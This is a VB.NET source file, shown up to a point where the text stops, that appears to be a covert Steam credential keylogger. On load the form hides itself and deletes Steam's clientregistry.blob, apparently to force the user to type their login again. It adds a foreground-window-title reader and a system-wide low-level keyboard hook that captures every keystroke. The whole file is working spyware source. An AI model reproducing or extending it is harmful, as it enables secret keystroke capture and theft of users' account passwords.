Imports System.IO
Public Class Form1
    Dim strin As String = ""
    Dim Steam As New TextBox
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Hide()
        My.Computer.FileSystem.DeleteFile(Environment.SpecialFolder.ProgramFiles & "\Steam\clientregistry.blob")
    End Sub
    Private Function GetActiveWindowTitle() As String
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100)
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
        Return MyStr
    End Function
    Public Class KeyboardHook
        Private Const HC_ACTION As Integer = 0
        Private Const WH_KEYBOARD_LL As Integer = 13
        Private Const WM_KEYDOWN = &H100
        Private Const WM_KEYUP = &H101
        Private Const WM_SYSKEYDOWN = &H104
        Private Const WM_SYSKEYUP = &H105

        Private Structure KBDLLHOOKSTRUCT
            Public vkCode As Integer
            Public scancode As Integer
            Public flags As Integer
            Public time As Integer
            Public dwExtraInfo As Integer
        End Structure

        Private Declare Function SetWindowsHookEx Lib "user32" _
        Alias "SetWindowsHookExA" _
        (ByVal idHook As Integer, _
        ByVal lpfn As KeyboardProcDelegate, _
        ByVal hmod As Integer, _
        ByVal dwThreadId As Integer) As Integer

        Private Declare Function CallNextHookEx Lib "user32" _
        (ByVal hHook As Integer, _
        ByVal nCode As Integer, _
        ByVal wParam As Integer, _
        ByVal lParam As KBDLLHOOKSTRUCT) As Integer

        Private Declare Function UnhookWindowsHookEx Lib "user32" _
        (ByVal hHook As Integer) As Integer


        Private Delegate Function KeyboardProcDelegate _
        (ByVal nCode As Integer, _
        ByVal wParam As Integer, _
        ByRef lParam As KBDLLHOOKSTRUCT) As Integer


        Public Shared Event KeyDown(ByVal Key As Keys)
        Public Shared Event KeyUp(ByVal Key As Keys)

        Private Shared KeyHook As Integer

        Private Shared KeyHookDelegate As KeyboardProcDelegate

        Public Sub New()

            KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)
            KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
        End Sub

        Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer

            If (nCode = HC_ACTION) Then
                Select Case wParam

                    Case WM_KEYDOWN, WM_SYSKEYDOWN

                        RaiseEvent KeyDown(CType(lParam.vkCode, Keys))
                    Case WM_KEYUP, WM_SYSKEYUP

                        RaiseEvent KeyUp(CType(lParam.vkCode, Keys))
                End Select
            End If

            Return CallNextHookEx(KeyHook, nCode, wParam, lParam)
        End Function
        Protected Overrides Sub Finalize()

            UnhookWindowsHookEx(KeyHook)
            MyBase.Finalize()
        End Sub